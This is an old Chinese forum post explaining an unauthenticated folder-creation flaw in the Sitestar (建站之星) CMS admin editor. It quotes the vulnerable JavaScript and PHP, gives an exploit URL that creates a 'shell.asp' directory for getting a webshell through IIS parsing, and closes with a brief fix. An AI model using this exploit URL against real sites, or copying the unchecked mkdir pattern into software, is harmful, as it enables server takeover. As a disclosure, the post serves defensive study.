寂寞夜归人 發表於 2012-6-29 16:21:06

建站之星全版本后台通杀getshell的解析与解决方法

找到一个fck改的编辑器,准备用解析洞日之。<br /><img src="https://img.jbzj.com/do/uploads/allimg/120629/1624190.jpg" alt="" /><br />然后发现无法这玩意直接过滤了&ldquo;.&rdquo;创建不了解析文件夹,<br />反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode26"><br />function addSort(obj) {<br />      $(obj).parent().find(&lsquo;span&rsquo;).css(&lsquo;display&rsquo;,'inline-block&rsquo;);<br />      $(obj).css(&lsquo;display&rsquo;,'none&rsquo;);<br />      $(obj).parent().find(&lsquo;span &gt; input:first&rsquo;).focus();<br />      }<br />      function newDir(obj) {<br />      var pth = $(obj).prev().attr(&lsquo;value&rsquo;);<br />      var basepth = $(&lsquo;#gtcurdir option:selected&rsquo;).text();<br />      if (pth.replace(/^\s+|\s+$/g,&rdquo;).length == 0) { //这里对定义的PTH变量进行了判断,(&ldquo;/^\s+|\s+$/g,&rdquo;),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.<br />      alert(&ldquo;请输入字符&rdquo;);<br />      $(obj).prev().focus();<br />      return false;<br />      } else {<br />      $.ajax({<br />      type : &ldquo;GET&rdquo;,<br />      dataType : &ldquo;text&rdquo;,<br />      url : &ldquo;../mkdir.ajax.php?basedir=&rdquo;+basepth+&rdquo;&amp;newdir=&rdquo;+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。<br />      success : function(response) {<br />      switch (response) {<br />      case &rsquo;0&prime;:<br />      $(obj).prev().val(&rdquo;);<br />      $(obj).parent().css(&lsquo;display&rsquo;,'none&rsquo;);<br />      $(obj).parent().parent().find(&lsquo;a&rsquo;).css(&lsquo;display&rsquo;,'inline-block&rsquo;);<br />      $(&lsquo;&lt;option value=&rdquo;&lsquo;+basepth+pth+&rsquo;/&rdquo; selected=&rdquo;true&rdquo;&gt;&rsquo;+basepth+pth+&rsquo;/&lt;/option&gt;&rsquo;).appendTo(&lsquo;#gtcurdir&rsquo;);<br />      break;<br />      case &lsquo;-1&prime;:<br />      alert(&ldquo;文件夹已存在!&rdquo;);<br />      $(obj).prev().focus();<br />      break;<br />      case &lsquo;-2&prime;:<br />      alert(&ldquo;新建文件夹失败!&rdquo;);<br />      break;<br />      }<br />      },<br />      error : function(response) {<br />      alert(&ldquo;请求失败!&rdquo;);<br />      return false;<br />      }<br />      });<br />      }<br /></div><br />看完函数 发现有一个很有意思的地方:<br /><font color="#ff0000">url : &ldquo;../mkdir.ajax.php?basedir=&rdquo;+basepth+&rdquo;&amp;newdir=&rdquo;+pth,<br /></font>这里直接post出去命令。那么我们可否构造呢<br />于是查看了这个脚本的源码:<br /><font color="#800000">&lt;?php//</font>!!!竟然没有验证<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode27"><br />header(&lsquo;Conten-type:text/html; charset=UTF-8&prime;);<br />define(&lsquo;SSFCK&rsquo;, str_replace(&ldquo;\\&rdquo;, &ldquo;/&rdquo;, dirname(__FILE__)));<br />$adminRoot = str_replace(&ldquo;\\&rdquo;, &ldquo;/&rdquo;, substr(SSFCK, 0, -10));<br />define(&lsquo;SSROOT&rsquo;, str_replace(&ldquo;\\&rdquo;, &ldquo;/&rdquo;, realpath($adminRoot.&rdquo;/..&rdquo;)));<br />$err = &rsquo;0&prime;;<br />$basedir = trim($_GET['basedir']);//这里直接GET来自前面那个urlpost来的变量<br />$newdir = trim($_GET['newdir']);<br />// is or not exist dir<br />$hd = dir(&ldquo;../../&rdquo;.$basedir);<br />while(($path = $hd-&gt;read()) !== false) {<br />if ($path == $newdir) {<br />$err = &lsquo;-1&prime;;<br />break;<br />} else continue;<br />}<br />if ($err != &lsquo;-1&prime;) {<br />if (!mkdir(&ldquo;../../{$basedir}{$newdir}&rdquo;, 0755)) $err = &lsquo;-2&prime;;<br />}<br />echo $err;<br />?&gt;<br /></div><br />程序员果然天然呆,不验证登陆,这里不验证文件名,任凭urlpost任意信息。<br />到这里知道了程序漏洞所在。附上exp:<br />http:// /admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&amp;newdir=shell.asp<br />返回0则表示成功。<br />&nbsp;<strong>修复方案:</strong><br />对mkdir.ajax.php加验证<br />
頁: [1]
查看完整版本: 建站之星全版本后台通杀getshell的解析与解决方法